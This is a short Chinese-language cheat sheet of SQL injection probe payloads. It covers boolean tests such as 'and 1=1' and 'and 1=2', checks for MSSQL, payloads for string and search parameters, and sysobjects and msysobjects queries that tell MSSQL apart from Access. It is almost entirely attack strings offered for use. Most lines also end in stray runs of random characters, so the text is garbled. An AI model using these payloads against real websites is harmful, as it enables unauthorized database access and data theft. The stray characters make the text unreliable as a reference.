1.判断是否有注入;and 1=1 ;and 1=2 U iPVZ@?
2.初步判断是否是mssql ;and user>0 o 2$<>1^
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3.注入参数是字符'and [查询条件] and ''=' eQ4B5B%j/x
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' r.W"@vc>
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5.判断数据库系统 x Ps&CyI
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;and (select count(*) from sysobjects)>0 mssql Av[|.~g
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;and (select count(*) from msysobjects)>0 access GO&R